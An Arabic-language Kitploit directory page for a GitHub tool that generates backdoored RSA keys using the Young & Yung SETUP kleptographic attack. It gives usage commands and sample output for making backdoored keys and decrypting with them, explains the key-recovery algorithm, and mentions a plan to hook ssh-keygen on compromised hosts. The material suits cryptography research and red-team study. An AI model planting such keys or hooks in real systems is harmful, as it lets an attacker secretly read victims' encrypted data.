Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/monsieurpale/rsa-backdoor
أدوات التشفير/فك التشفيرالاستغلالالتشفيراختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubmonsieurpale/rsa-backdoor

RSA-Backdoor

توليد مفاتيح RSA مخترقة باستخدام SETUP

عرض المستودع
239212منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مولد باب خلفي RSA

يحتوي هذا المستودع على كود لإعادة إنتاج هجوم الباب الخلفي المضمن سرًا مع حماية شاملة (SETUP) على توليد مفاتيح RSA كما اقترحه Young & Yung, 1996. بالنظر إلى إمكانات هذا الهجوم، لا تثق أبدًا في أنظمة توليد المفاتيح ذات الصندوق الأسود.

المراجع: - عرض الخوارزمية - الورقة الكاملة الأصلية

الاستخدام

ابدأ بإنشاء مفاتيح المهاجم ثم قم بإنشاء المفاتيح المخترقة.

root@kitploit:~
# build
go build generator.go
go build decryptor.go

# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

# generate backdoored keys
./generator -pk attacker_pub.pem

# output
------
[*] Generating 4096-bits SETUP...
    > This may take a while...
------

------
[*] Found parameters:
    > p bit length: 256
    > q bit length: 3840
    > n bit length: 4096 // final key length
    > Attempts needed: 542692
------

------
[*] Backdoored keys saved to:
    > Private key: out/victim_priv.pem
    > Public key:  out/victim_pub.pem
------

------
[*] Test with:
    > echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
    > ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------

إذا وثق الضحية في المفاتيح التي تلقاها (والتي تبدو طبيعية تمامًا وتعمل كما هو متوقع) فسيستخدمها لتشفير بعض البيانات، على سبيل المثال:

root@kitploit:~
# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin

# verify
echo out/cipher.bin | base64

المفاجأة هي أن المهاجم يمكنه فك تشفير الرسالة باستخدام المفتاح العام للضحية ومفتاحه الخاص. على سبيل المثال:

root@kitploit:~
# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin

# output
------
[*] Loading keys and ciphertext...
    > Loaded victim public key
    > Loaded attacker private key
    > Loaded ciphertext
------

------
[*] Deriving private key from SETUP...
    > PK bitsize: 2048
    > Found valid factorization using s1
    > Recovered p (bit length: 256)
    > Recovered q (bit length: 3840)
    > Recovered d (bit length: 4092)
------

--- DECRYPTED MESSAGE ---
 ��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s        �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
                                      �ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
        �y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$�޶��WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------

كيف يعمل؟

إذا كنت تريد التفاصيل الكاملة لهذا الهجوم، فراجع الرابطين في المقدمة. النظرة العامة عالية المستوى لهذا الهجوم هي التالية:

توليد مفاتيح RSA العادي (خط الأساس)

  • توليد عددين أوليين كبيرين عشوائيين p و q (حوالي 1024 بت لكل منهما لمفتاح 2048 بت).
  • حساب n = p · q.
  • اختيار الأس العام e (عادةً 2¹⁶+1).
  • حساب d بحيث e · d ≡ 1 mod φ(n) مع φ(n) = (p–1)(q–1).
  • المفتاح العام: (n, e); المفتاح الخاص: d.
  • التشفير: c = mᵉ mod n; فك التشفير: m = cᵈ mod n.

توليد مفاتيح RSA بباب خلفي (SETUP)

  • اختيار عدد أولي s بطول 1024 بت وحساب p = H(s) (يكرر حتى يصبح p أوليًا).
  • تشفير s بمفتاح المهاجم: c = sᴱ mod N.
  • اختيار z عشوائي.
  • بناء q بحيث c || z = p · q + r لبعض الباقي r العشوائي؛ إعادة المحاولة إذا لم يكن q أوليًا.
  • حساب n = p · q، ضبط e كالمعتاد، وحساب d كما في RSA القياسي.
  • إخراج مفتاح عام (n, e) ومفتاح خاص d يبدوان طبيعيين — ولكن مع باب خلفي مخفي.

استرداد المهاجم للمفتاح الخاص للضحية

  • أخذ أعلى n/2 بت من n كـ u (≈1024 بت).
  • تعريف c₁ = u و c₂ = u + 1 (لمعالجة فقدان البت المحتمل في تضمين c||z).
  • فك التشفير باستخدام المفتاح الخاص للمهاجم D:
    • s₁ = c₁ᴰ mod N، s₂ = c₂ᴰ mod N.
  • حساب الأعداد الأولية المرشحة:
    • p₁ = H(s₁)، p₂ = H(s₂).
  • حساب q₁ = n / p₁ و q₂ = n / p₂؛ القسمة التي تعطي عددًا صحيحًا تكشف عن p و q الحقيقيين.
  • إعادة حساب d من (p, q, e).
  • يستعيد المهاجم الآن المفتاح الخاص RSA للضحية بالكامل.

التحسينات

حاليًا، يستخدم البرنامج ProbablyPrime() للتحقق مما إذا كان n معطى أوليًا. يقوم ProbablyPrime() بإجراء n اختبار ميلر-رابين للتحقق مما إذا كان x أوليًا. إذا أعاد القيمة true، فإن x أولي مع احتمال 1 - 1/4^n. إذا أعاد القيمة false، فإن x ليس أوليًا. ونتيجة لذلك، هناك احتمال غير صفري أن يفشل توليد الباب الخلفي (لا يمكن حل Q). ما عليك سوى إعادة تشغيل الأداة إذا حدث ذلك.

العمل المستقبلي

دعم التنسيقات التالية: ssh-rsa, ssh-dsa, ssh-ecdsa. من الناحية النظرية، SETUP ممكن لهذه التنسيقات، ssh-ed25519 مقاوم لـ SETUP. يمكن بعد ذلك اشتقاق مفتاح SSH الخاص من المفاتيح العامة التي تم الحصول عليها باستخدام ssh-keyscan. أخطط أيضًا لتوفير أداة صغيرة لربط ssh-keygen على المضيف المخترق لاختراق المفاتيح المستقبلية تلقائيًا... سيتم تحديده لاحقًا.

تنزيل الأداة